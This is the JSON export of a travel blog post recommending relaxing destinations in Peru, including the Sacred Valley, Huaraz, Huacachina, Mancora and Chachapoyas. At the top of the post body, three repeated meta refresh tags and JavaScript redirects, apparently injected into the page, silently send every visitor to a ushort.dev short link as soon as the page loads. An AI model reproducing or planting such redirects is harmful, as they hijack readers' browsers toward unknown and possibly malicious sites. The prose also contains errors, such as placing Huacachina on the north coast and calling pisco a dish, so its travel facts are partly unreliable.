{"id":9211,"date":"2025-07-08T13:01:30","date_gmt":"2025-07-08T18:01:30","guid":{"rendered":"https:\/\/blog.viajesmachupicchu.travel\/en\/?p=9211"},"modified":"2025-07-08T13:01:33","modified_gmt":"2025-07-08T18:01:33","slug":"relaxing-travel-destinations-in-peru","status":"publish","type":"post","link":"https:\/\/blog.viajesmachupicchu.travel\/en\/relaxing-travel-destinations-in-peru\/","title":{"rendered":"Relaxing Travel Destinations in Peru"},"content":{"rendered":"<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n\n<p><a class=\"aioseop-link\" href=\"https:\/\/viajesmachupicchu.travel\/en\/tips-for-travelers\/all-about-peru-updated-information\"><strong>Peru<\/strong> <\/a>is a dream destination for adventurers, families, or visitors looking for new experiences. However, among these groups of travelers are those who want to just relax and enjoy. Are you one of them? <\/p>\n\n\n\n<p>So, we\u2019d like you to introduce some destinations in our country perfect for chilling out.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>The Sacred Valley<\/strong><\/h2>\n\n\n\n<p>Firstly, the<strong><a class=\"aioseop-link\" href=\"https:\/\/viajesmachupicchu.travel\/en\/destinations\/sacred-valley-of-the-incas\"> Sacred Valley <\/a><\/strong>of the Incas is a group of villages located 34 kilometers from Cusco. The stunning scenery from town to town truly makes this Andean area special; you will feel its magic the moment you arrive.<\/p>\n\n\n\n<p>This region is a perfect escape from Cusco; it&#8217;s the best place for anyone wanting to relax by the Urubamba River and explore its rich history. <\/p>\n\n\n\n<p>Likewise, we can say that the towns in the Sacred Valley are precious pearls that make a beautiful necklace. Come and discover the amazing Sacred Valley! <\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text alignwide is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"392\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2017\/07\/05_chinchero.jpg?resize=697%2C392&#038;ssl=1\" alt=\"Blog Viagens Machu Picchu | Vale Sagrado, Chinchero\" class=\"wp-image-2271 size-full\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2017\/07\/05_chinchero.jpg?w=1024&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2017\/07\/05_chinchero.jpg?resize=300%2C169&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2017\/07\/05_chinchero.jpg?resize=768%2C432&amp;ssl=1 768w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<p>Your journey will start in <strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/destinations\/sacred-valley-of-the-incas\/attractions\/chinchero\" class=\"aioseop-link\">Chinchero<\/a><\/strong>. Here, you can admire the mestizo architecture and learn about the rich culture. Don\u2019t miss the Chinchero Archaeological Site and the local craft market, which are famous for their stunning textiles.<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-css-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text alignwide is-image-fill-element is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"774\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/Pisac-111.jpg?resize=697%2C774&#038;ssl=1\" alt=\"\" class=\"wp-image-8090 size-full\" style=\"object-position:50% 50%\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/Pisac-111.jpg?resize=922%2C1024&amp;ssl=1 922w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/Pisac-111.jpg?resize=270%2C300&amp;ssl=1 270w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/Pisac-111.jpg?resize=768%2C853&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/Pisac-111.jpg?w=1080&amp;ssl=1 1080w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<p>Next, head to <strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/destinations\/sacred-valley-of-the-incas\/attractions\/pisac\" class=\"aioseop-link\">Pisac<\/a><\/strong>, where you can explore the impressive archaeological site and enjoy the lively Sunday market. Urubamba is perfect for stunning views, great food, and outdoor fun.<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-css-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text alignwide is-image-fill-element is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"464\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2017\/08\/04_ollantaytambo.jpg?resize=697%2C464&#038;ssl=1\" alt=\"Blog Viagens Machu Picchu_Ollantaytambo\" class=\"wp-image-2421 size-full\" style=\"object-position:50% 50%\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2017\/08\/04_ollantaytambo.jpg?resize=1024%2C682&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2017\/08\/04_ollantaytambo.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2017\/08\/04_ollantaytambo.jpg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2017\/08\/04_ollantaytambo.jpg?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2017\/08\/04_ollantaytambo.jpg?w=1280&amp;ssl=1 1280w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<p>Then, visit <strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/destinations\/sacred-valley-of-the-incas\/attractions\/ollantaytambo\" class=\"aioseop-link\">Ollantaytambo<\/a><\/strong>, a charming Inca village that serves as a gateway to Machu Picchu. Here, you can see the archaeological sites and the Pinkuylluna Warehouses.<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-css-opacity is-style-dots\"\/>\n\n\n\n<div class=\"wp-block-media-text alignwide is-image-fill-element is-stacked-on-mobile\"><figure class=\"wp-block-media-text__media\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"871\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2023\/10\/rqwrqwr.jpg?resize=697%2C871&#038;ssl=1\" alt=\"Moray, one of the destinations in the Sacred Valley\" class=\"wp-image-6956 size-full\" style=\"object-position:50% 50%\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2023\/10\/rqwrqwr.jpg?resize=819%2C1024&amp;ssl=1 819w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2023\/10\/rqwrqwr.jpg?resize=240%2C300&amp;ssl=1 240w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2023\/10\/rqwrqwr.jpg?resize=768%2C960&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2023\/10\/rqwrqwr.jpg?w=1080&amp;ssl=1 1080w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><div class=\"wp-block-media-text__content\">\n<p>Make sure to check out<strong> <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/moray-the-incas-secret-agricultural-laboratory\/\" title=\"\">Moray&#8217;s<\/a><\/strong> fascinating agricultural terraces and the Maras Salt Mines, which are both ancient and still in use today.<\/p>\n<\/div><\/div>\n\n\n\n<hr class=\"wp-block-separator has-css-opacity is-style-dots\"\/>\n\n\n\n<p>Lastly, no trip is complete without visiting<strong> <a href=\"https:\/\/viajesmachupicchu.travel\/en\/destinations\/machu-picchu\" class=\"aioseop-link\">Machu Picchu<\/a><\/strong>! After having a productive but exhausting day, you can go to Aguas Calientes, where you can spend the night soaking your body in the hot springs.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"327\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2023\/09\/machu-picchu-44.jpg?resize=697%2C327&#038;ssl=1\" alt=\"Machu Picchu Citadel beckons travelers year round with its ancient allure\" class=\"wp-image-6826\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2023\/09\/machu-picchu-44.jpg?resize=1024%2C481&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2023\/09\/machu-picchu-44.jpg?resize=300%2C141&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2023\/09\/machu-picchu-44.jpg?resize=768%2C361&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2023\/09\/machu-picchu-44.jpg?w=1170&amp;ssl=1 1170w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Huaraz<\/strong><\/h2>\n\n\n\n<p>Huaraz is like the trekking mecca of Peru, and for a good reason. It&#8217;s jam-packed with mind-blowing natural wonders. <\/p>\n\n\n\n<p>You&#8217;ll see stunning turquoise lagoons and snow-capped peaks. You&#8217;ll hike through beautiful valleys and ancient ruins.<\/p>\n\n\n\n<p>If you hang out in <strong><a class=\"aioseop-link\" href=\"https:\/\/viajesmachupicchu.travel\/en\/destinations\/huaraz\">Huaraz<\/a><\/strong>, you&#8217;ll have many adventures in the &#8220;Cordillera Blanca,&#8221; a Peruvian mountain range in the famous Andes.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/03\/Enjoy-a-Peru-tour-with-Booking-Inca-Jungle.jpg?resize=697%2C465&#038;ssl=1\" alt=\"\" class=\"wp-image-9179\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/03\/Enjoy-a-Peru-tour-with-Booking-Inca-Jungle.jpg?w=720&amp;ssl=1 720w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/03\/Enjoy-a-Peru-tour-with-Booking-Inca-Jungle.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/03\/Enjoy-a-Peru-tour-with-Booking-Inca-Jungle.jpg?resize=330%2C220&amp;ssl=1 330w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>Plus, you&#8217;ll get to experience more of Peru&#8217;s culture. The Chav\u00edn culture, a <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/ancient-peru-cultures-before-the-inca-empire-part-i\/\" title=\"\">pre-Inca culture<\/a><\/strong> that flourished from 1500 to 300 BC, is a wonderful starting point for understanding Andean civilizations.<\/p>\n\n\n\n<p>It significantly influenced later cultures, including the Incas. The Chav\u00edn de Huantar site, with its Old and New Temples, was a key religious and administrative center.&nbsp;<\/p>\n\n\n\n<p>Located in the picturesque Ancash region, this site showcases the amazing artistic skills of the Chav\u00edn people. Just a short drive away, you can enjoy the stunning views of the Callej\u00f3n de Huaylas.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/08\/paronj-lake.webp?resize=697%2C465&#038;ssl=1\" alt=\"\" class=\"wp-image-13702\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/08\/paronj-lake.webp?w=768&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/08\/paronj-lake.webp?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/08\/paronj-lake.webp?resize=330%2C220&amp;ssl=1 330w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>Also, experts call this park a &#8220;sanctuary of biodiversity&#8221;\u00a0 as it houses a variety of wildlife such as 800 plant species and over 120 animal, reptile, amphibian, and bird species.<\/p>\n\n\n\n<p>In the<strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/peru-honors-nature-on-huascaran-mountain-day\/\" title=\"\"> Huascaran<\/a><\/strong>, you\u2019ll find lovely lagoons, Llanganuco and Par\u00f3n, and the impressive Pastoruri Glacier. This area beautifully combines Peru&#8217;s rich history with its natural wonders, making it a must-visit destination! <\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Huacachina<\/strong><\/h2>\n\n\n\n<p>Following, on the Peruvian north coast, 5 hours from Lima, you\u2019ll get to the only oasis in South America, <strong><a class=\"aioseop-link\" href=\"https:\/\/viajesmachupicchu.travel\/en\/destinations\/huacachina\">La Huacachina<\/a><\/strong>. <\/p>\n\n\n\n<p>La Huacachina is a charming village with a beautiful lagoon and good tourist facilities. It has about 115 friendly residents and is just 15 minutes from Ica.<\/p>\n\n\n\n<p> Now popular with travelers, Huacachina was once a getaway for the wealthy from the region and Lima. You might be surprised to learn that the transformation occurred in the 1900s, not during colonial times. Some buildings, though, appear to be from the colonial era.<\/p>\n\n\n\n<p> Yet, they were built after the 1960s to mimic Spanish-influenced architecture. Today, palm trees and eucalyptus surround the Huacachina<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2018\/03\/huacachina-2.jpg?resize=697%2C465&#038;ssl=1\" alt=\"\" class=\"wp-image-3241\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2018\/03\/huacachina-2.jpg?resize=1024%2C683&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2018\/03\/huacachina-2.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2018\/03\/huacachina-2.jpg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2018\/03\/huacachina-2.jpg?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2018\/03\/huacachina-2.jpg?w=2048&amp;ssl=1 2048w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2018\/03\/huacachina-2.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>You can ride a dune buggy and do sandboarding, or if you don\u2019t like that many adventure sports, you can have the <strong><a class=\"aioseop-link\" href=\"https:\/\/viajesmachupicchu.travel\/en\/destinations\/huacachina\/tours\/ruta-del-pisco-ica\">pisco route tour<\/a><\/strong>, where you\u2019ll discover all the secrets linked to Peru\u2019s flagship dish. <\/p>\n\n\n\n<p>As the Paracas National Reserve, the Ballestas Islands, or the Nazca Lines are not that far, you can take the chance and visit these paradise-like destinations in our country.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Mancora<\/strong><\/h2>\n\n\n\n<p>In addition, another great option to spend chill days is Mancora City. Popular for being a surf destination, M\u00e1ncora, located in the Piura department near Tumbes, is a wonderful coastal destination in Peru. <\/p>\n\n\n\n<p>Everybody loves it for its stunning beaches and warm waters. It offers many exciting water activities. The beaches, with their soft white sand and clear waters, are perfect for relaxing and sunbathing. <\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"436\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/08\/playas-de-mancora-7-1024x640-1.jpeg?resize=697%2C436&#038;ssl=1\" alt=\"\" class=\"wp-image-9214\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/08\/playas-de-mancora-7-1024x640-1.jpeg?w=1024&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/08\/playas-de-mancora-7-1024x640-1.jpeg?resize=300%2C188&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/08\/playas-de-mancora-7-1024x640-1.jpeg?resize=768%2C480&amp;ssl=1 768w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>M\u00e1ncora has many water sports for you to enjoy. You can surf, kitesurf, windsurf, paddleboard, or sport fish. You can also explore nearby Punta Sal, which is known for its luxurious resorts and beautiful, clear waters.<\/p>\n\n\n\n<p>Also, don\u2019t miss Cabo Blanco, celebrated for inspiring Hemingway&#8217;s &#8220;The Old Man and the Sea,&#8221; and recognized as a top fishing spot.<\/p>\n\n\n\n<p>M\u00e1ncora&#8217;s warm, sunny climate makes it a top year-round spot, especially from December to April. M\u00e1ncora, on Peru&#8217;s northern coast, is perfect for both relaxing and adventure. It offers an unforgettable experience!<\/p>\n\n\n\n<hr class=\"wp-block-separator has-css-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Honorable Mentions<\/strong><\/h2>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Chivay<\/strong><\/h3>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"327\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/14666245092_0e6eaf692a_h.webp?resize=697%2C327&#038;ssl=1\" alt=\"\" class=\"wp-image-16869\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/14666245092_0e6eaf692a_h.webp?resize=1024%2C481&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/14666245092_0e6eaf692a_h.webp?resize=300%2C141&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/14666245092_0e6eaf692a_h.webp?resize=768%2C361&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/04\/14666245092_0e6eaf692a_h.webp?w=1170&amp;ssl=1 1170w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/arequipas-chivay-where-culture-meets-canyon-views\/\" title=\"\"><strong>The<\/strong> <strong>Chivay Town<\/strong><\/a> in Arequipa, located 180 kilometers from the white city, is your gateway to the Colca Canyon. <\/p>\n\n\n\n<p>You can have a wonderful stay in an eco-lodge and get into its thermal baths. However, keep in mind that you must be adapted to the high altitude before entering the Colca Canyon.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Amantani Island<\/h3>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/destinations\/lake-titicaca\/attractions\/amantani-island\" class=\"aioseop-link\">The Amantani Island<\/a> <\/strong>is one of the small islands on the Peruvian side of Lake Titicaca. It is easily reached by boat from Puno in two hours, traveling 40 kilometers away. The island features a natural environment that is cut off from Lake Titicaca&#8217;s periphery.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"295\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2021\/11\/lake-titicaca-amantani-island-homestay.jpg?resize=697%2C295&#038;ssl=1\" alt=\"\" class=\"wp-image-5971\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2021\/11\/lake-titicaca-amantani-island-homestay.jpg?resize=1024%2C433&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2021\/11\/lake-titicaca-amantani-island-homestay.jpg?resize=300%2C127&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2021\/11\/lake-titicaca-amantani-island-homestay.jpg?resize=768%2C325&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2021\/11\/lake-titicaca-amantani-island-homestay.jpg?w=1300&amp;ssl=1 1300w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>Two groups ruled these areas long before the Inca civilization, leaving behind amazing agricultural terraces that have been worked on ever since. <\/p>\n\n\n\n<p>These days, local farmers grow potatoes, quinoa, wheat, and other vegetables on these terraced hillsides. So, as soon as you lay eyes on the island, the slow-paced way of life will captivate you.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>Chachapoyas<\/strong><\/h3>\n\n\n\n<p>\u201cThe City in the Clouds\u201d promises to captivate you with its biodiversity, attractions, food, and culture. In the heart of the<strong><a class=\"aioseop-link\" href=\"https:\/\/viajesmachupicchu.travel\/en\/destinations\/amazonas\"> Amazon<\/a><\/strong>, you\u2019ll find Chachapoyas, the capital of the Amazonas province. <\/p>\n\n\n\n<p>In its historic center, you can see colonial architecture from the 18th and 19th centuries, and in 1988 it was declared a national cultural site.\u00a0<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"392\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/GOCTA-GALERIA-01-2.jpg?resize=697%2C392&#038;ssl=1\" alt=\"\" class=\"wp-image-7861\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/GOCTA-GALERIA-01-2.jpg?resize=1024%2C576&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/GOCTA-GALERIA-01-2.jpg?resize=300%2C169&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/GOCTA-GALERIA-01-2.jpg?resize=768%2C432&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/GOCTA-GALERIA-01-2.jpg?resize=1536%2C864&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/GOCTA-GALERIA-01-2.jpg?w=1700&amp;ssl=1 1700w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2024\/05\/GOCTA-GALERIA-01-2.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>At the Leymabamba and the Gilberto Tenorio Museums, you can get a glimpse of <strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/ancient-peru-cultures-before-the-inca-empire-part-ii\/\" title=\"\">pre-Inca cultures<\/a><\/strong>, such as the Chachapoyas, a people who fought the Incas and were eventually subdued by them. <\/p>\n\n\n\n<p>We can assure you you\u2019ll be amazed by archaeological sites such as Kuelap, also called the jungle\u2019s Machu Picchu.<\/p>\n\n\n\n<p>Therefore, while you watch the cloud forest, you can good time in the <strong><a class=\"aioseop-link\" href=\"https:\/\/viajesmachupicchu.travel\/en\/destinations\/amazonas\/natural-attractions\/the-gocta-waterfalls\">Gocta Falls<\/a><\/strong>, one of the largest waterfalls in Peru and the world.\u00a0<\/p>\n\n\n\n<hr class=\"wp-block-separator has-css-opacity\"\/>\n\n\n\n<p>These are just a few paradise-like attractions you can see in our country. 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